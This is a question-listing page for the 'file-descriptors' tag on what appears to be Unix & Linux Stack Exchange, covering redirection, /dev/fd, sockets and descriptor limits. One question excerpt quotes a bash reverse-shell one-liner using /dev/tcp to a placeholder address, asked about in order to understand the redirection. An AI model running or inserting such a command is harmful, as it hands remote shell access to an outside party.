Questions tagged [file-descriptors]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
0
votes
0answers
18 views

Is it possible to name an anonymous file socket?

Suppose I perform the following command: python3 foo.py Usage: foo ... Next, I use redirection: python3 <(foo.py) Usage: 63 ... (because the file descriptor assigned is /dev/fd/63) My arg ...
2
votes
0answers
26 views

AF_UNIX: Using recv() to receive a message sent with sendmsg()

The function prototype for the sendmsg() function is as follows: ssize_t sendmsg(int sockfd, const struct msghdr *msg, int flags); and the msghdr struct is such: struct msghdr { void *...
1
vote
2answers
56 views

Is there any way to de-couple stdin into multiple input sources?

I am looking for a way to have two stdins to a bash script, namely one that is interactive and another which could leverage redirection Say I need to invoke a program which asks for credentials of the ...
10
votes
3answers
929 views

Can I get UNIX file permissions to take effect immediately for all processes?

When I change the permissions on a file using chmod, existing file descriptors can continue to access the file under the previous permissions. Can I cause those existing file descriptors to close or ...
1
vote
1answer
67 views

why is there a “0>&1”?

I am still trying to figure out how this command works? bash -i >& /dev/tcp/10.0.0.1/4242 0>&1 I found out somewhere that 0>&1 means that STDIN is sent through the connection, ...
1
vote
1answer
85 views

Difference between >&/dev/null and &>/dev/null [duplicate]

I tried to find information about the operator order in the statement >&/dev/null Is there any difference between >& and &>?
0
votes
1answer
23 views

How to auto-detect filetype in pastebinit?

I use pastebinit to share snippets. As you can see, it has a -f switch so the rendered webpage highlights the uploaded file depending on the format of the file (like -f python or -f bash). Now, I want ...
0
votes
1answer
22 views

/dev/fd inconsistency

What explains the following inconsistency in the reported contents of /dev/fd? erhannis@mnode6:/dev/fd$ ll /dev/fd/ total 0 dr-x------ 2 erhannis erhannis 0 Jan 12 22:10 . dr-xr-xr-x 9 erhannis ...
7
votes
1answer
336 views

Why is the file descriptor opened and read only once?

Why can it be used only 1 time when we open the file descriptor ourselves and redirect it to stdin? Please take a look at the example below to understand what I want to say. After reading it once with ...
1
vote
2answers
131 views

What is the historical reason for limits on file descriptors (ulimit -n)

When I first borrowed an account on a UNIX system in 1990, the file limit was an astonishing 1024, so I never really saw that as a problem. Today 30 years later the (soft) limit is a measly 1024. I ...
0
votes
1answer
158 views

How is “multiple file descriptors refer to the same socket” created?

The Linux Programming Interface says 56.5.5 Connection Termination: close() The usual way of terminating a stream socket connection is to call close(). If multiple file descriptors refer to the same ...
2
votes
1answer
34 views

How to calculate number of open files and number of file descriptors

what are differences between number of open_files and number of file_descriptors in linux ? I'm confused . The value in the /proc/sys/fs/file-max is for total file_descriptors or total open_files ? ...
2
votes
0answers
116 views

Bash supress “Bad file descriptor” error message

I get the following error message when I try to write to a file descriptor when the other end has the fd closed before the writing: ./scr.sh: line 5: "$fd": Bad file descriptor the code ...
1
vote
1answer
48 views

How does linux manage the offsets of files

After reading this post: https://stackoverflow.com/questions/14189944/unix-system-file-tables, I've basically understood how Linux manages the files. But I don't know how to manage the offsets of the ...
0
votes
2answers
122 views

Does fork() also copy the file descriptor for the executable binary that the calling process is currently executing?

I've read the man pages on fork(), and they say something along the lines of "all file descriptors open in the calling process are copied". It is not 100% clear to me if the file descriptor ...
2
votes
1answer
42 views

Additional file descriptor for debugging and piped output (logging, metrics, etc)

For a bash script project, I write human-readable log info to stdout/stderr. Additionally, I want to write formatted metrics to a third stream that will be discarded by default but can be redirected ...
1
vote
0answers
44 views

Portable way of writing /dev/fd/X in bash

I want to remove files before they are used, so in this example I want to unlink col1, col2 ... col1000 before paste starts. exec 3< col1 4< col2 ... 1002< col1000 rm col1 col2 ... col1000 ...
3
votes
1answer
94 views

How to redirect stderr to stdout then pipe (apt-cache)

I'm trying to redirect stderr to stdout and then pipe it but I think I'm missing something basic here. The command and output to be piped: $ apt-cache show contractor N: Can't select versions from ...
2
votes
2answers
42 views

See to what the output of a process is redirected

I have a process that should have his output redirected to output.txt. Unfortunatly the output does not go to this file. First i checked if I called it from another directory, but there is no output....
1
vote
1answer
45 views

Will the kernel hold the whole file to which some process is writing

After posing this question, I'm kind of confused by the action of the linxu kernel. First of all, I know how a process writes strings into a file: a process will obtain some buffer, the buffer can be ...
0
votes
1answer
44 views

Why is a deleted file still writable in Linux

I'm using Linux for a while and today I found an interesting thing. Saying that I have an infinite task, which keeps writing strings into a file. At some moment, I delete the file, and in several ...
1
vote
1answer
140 views

Redirect script stdin to file in the background

In order to pass my script's stdin to stdin of a command in an alacritty instance it spawns, I'm trying to redirect it to a file in the background (so that the command can start reading it): t="$(...
0
votes
0answers
95 views

What `ulimit` value applies to a `systemd` service?

I have a systemd service installed. It was creating some problems and I am speculating that it might be file descriptor stuff. The file descriptor limit systemd wide is quite high: $ cat /proc/sys/fs/...
1
vote
2answers
66 views

When I start a process on my computer, I see a file descriptor number 6 open, what is that descriptor for/about?

Today I noticed I was getting an error from a tool which verifies its file descriptors on startup. The fact is that I get an extra pts connection: # In one console I start `cat` linux $ cat >/tmp/...
4
votes
3answers
1k views

Does `echo -n | …` send an EOF to the pipe?

Does echo -n | ... send an EOF to the pipe? I.e., echo -n | sth Will sth recieve an EOF on its stdin?
2
votes
1answer
97 views

For a directory file descriptor dfd, can I prevent traversing up as in openat(dfd, “..”, …)?

I have a user $service with a directory /srv/$service/subdir. /srv/$service has a mode of 0700, i.e. it's only accessible by $service. That user can open a directory file descriptor to …/subdir or any ...
1
vote
0answers
21 views

Redirection: what does this redirection chain do--logic and purpose? [duplicate]

recently came across several chained redirections to file descriptors as shown is the snippet below: name=$(dialog --inputbox "Please enter your phone number." 10 30 3>&1 1>&2 ...
0
votes
0answers
31 views

Testing if a file descriptor is valid in really old shells

This is a follow-up question for "Testing if a file descriptor is valid." I am looking for a way to test whether file descriptors are valid that works, including with fds 0, 1, and 2, on ...
0
votes
2answers
156 views

Output tee to stdout while writing to a FD using here-strings

I am trying to output tee while writing to a custom file descriptor. Example: exec 4>"/tmp/testfile.txt"; # open FD 4 tee -a >&4 <<< "Output this to stdout" # ...
1
vote
1answer
135 views

Possible in bash to conditionally redirect output to either stdout or /dev/null?

Use-case: I am writing a script that will accept --simulate which acts as a dry run and only prints the command rather than running it. When running normally (i.e. not with --simulate), the command ...
0
votes
2answers
156 views

What does it mean when a file descriptor is a link to a pipe?

When I look at ls -la /proc/<pid>/fd, I see that stdout is a link to a pipe: lr-x------ 1 admin root 64 Jul 9 21:22 1 -> pipe:[1155] What does it mean? Who is listening to ...
0
votes
1answer
72 views

is parallel write to eventfd is safe?

I have a multi threaded environment so parallel write to eventfd is possible. Is parallel write to eventfd is safe? Is there any official doc that explains this behavior of eventfd.
0
votes
0answers
45 views

Read user input from piped function

I want to use a function's piped content as message to an interactive prompt, still from inside the function. Here is what I tried; myfunc () { local input output output=$(cat /dev/stdin) ...
4
votes
3answers
865 views

Check if a filedescriptor refers to a deleted file (in Bash) [duplicate]

I would like to check if the file that a filedescriptor points to is deleted in Bash (linux). I have read both Testing if a filedescriptor is valid and Testing if a filedescriptor is valid (for input)....
1
vote
1answer
273 views

select would indicate pipe is readable when there's no data in pipe and write end is closed?

I am reading The Linux Programming Interface. From 63.2.3 When Is a File Descriptor Ready?, it says: Correctly using select() and poll() requires an understanding of the conditions under which a ...
0
votes
0answers
17 views

Safety of here document redirecting to file descriptors?

I want to run multiline python scripts by pasting into bash terminal. I discovered here documents and file redirection, as quoted from this answer; exec 3<<'HERE' import sys print("Line Zero!")...
1
vote
0answers
106 views

Location of the system-wide file table and inode table structures in the kernel source

To better understanding of the file management in Linux kernel I want to find out three table declarations in the source: a single process file descriptor table system-wide table of open files inode ...
0
votes
1answer
112 views

File descriptors of executable binary file and shared libraries in /proc/PID/fd?

Do user processes keep a file descriptor for the executable file itself, and for shared libraries? For example, if I look into /proc/PID/fd of bash, I expected to see at least the following fds, ...
1
vote
2answers
82 views

Write multiple lines to file descriptor without here-doc and delete it after reading <&{fd} without blocking

#!/usr/bin/env bash auth() { exec 3<<AUTH $1 $2 AUTH } auth test pwd sh -c 'cat <&3' I want to temporarily store credentials in an auth file/mem of the format user/npass, which ...
0
votes
1answer
200 views

Redirect Cron Stderr and Stdout to A Log File With a Timestamp

I'm trying to get stdout and stderr to make it to my log file for a cron process. Currently, stdout makes it as intended, but stderr does not. My timestamps are creating the issue. If I remove the ...
4
votes
3answers
387 views

How to save stdout to file, stderr to file, stdout+stderr to file and get stdout + stderr to terminal like normal for a shell script

How can I save stdout to one file, stderr to another file, stdout+stderr to a third file and also get stdout + stderr to terminal like normal for a shell script? I found this elsewhere: exec > &...
2
votes
2answers
76 views

How can I simulate an unresponsive file descriptor?

We have an application that writes to a log file. In the prod environment, the log file directory is mapped to a NAS: 192.168.1.10:/storage/app/log 2554360832 11844608 2412762112 1% /usr/local/app/...
0
votes
0answers
20 views

Redirecting and then moving target file [duplicate]

I tested the following on AIX and it works. logfile=log.txt echo "Hello" > "$logfile" exec 1>>"$logfile" mv "$logfile" "${logfile}_new" echo "World" After this script ran the file log....
1
vote
0answers
52 views

custom camera feed on fedora when using zoom.us

zoom work conferences became very popular lately. I saw some of my colleagues (who have macOS) use snap camera in zoom, so I tried looking for a goofy camera I can use as well on linux (fedora 29). I ...
1
vote
4answers
848 views

Reading from stderr in c

This is my c program read from stderr i write #include <uninstd.h> #include <stdio.h> int main(void) { char buff[3]; read(2, buff, sizeof(buff)); printf("%s", buff"); return 0; } My ...
0
votes
1answer
52 views

Suppress sftp's info and errors but show progress

I have this sftp -q my_host:my_dir 1>/dev/null 2>&1 <<EOF some_command some_command some_command some_command put foo bar some_command exit EOF This suppresses: banner ...
2
votes
1answer
647 views

How to correctly use strace -e read=fd option?

I'm trying to monitor read activity on a particular file descriptor in a running process. Here is the C++ test bench I'm testing various solutions on: #include <fcntl.h> #include <unistd.h&...
-1
votes
1answer
334 views

What does file descriptor have to do with process table?

I have an interest in Operating Systems. So I am reading the xv6 book to understand Operating Systems. This is my first book on the subject. I read a line I couldn't understand. Internally, the xv6 ...
0
votes
0answers
64 views

Can kernel guarantee that POSIX close frees the descriptor?

Linux developers argue that it's pointless to retry close operation in case of an error, since the kernel "always releases the file descriptor early" (emphasis mine). While in general fildes state ...
0
votes
0answers
84 views

Is it guaranteed freshly opened `/dev/fd/3` always reads from start?

This is a Linux-specific question. The bash script is: echo foo > "a.txt" exec 3<"a.txt" cat /dev/fd/3 cat /dev/fd/3 cat /dev/fd/3 Output: foo foo foo All these cats display the content of /...

1
2 3 4 5
7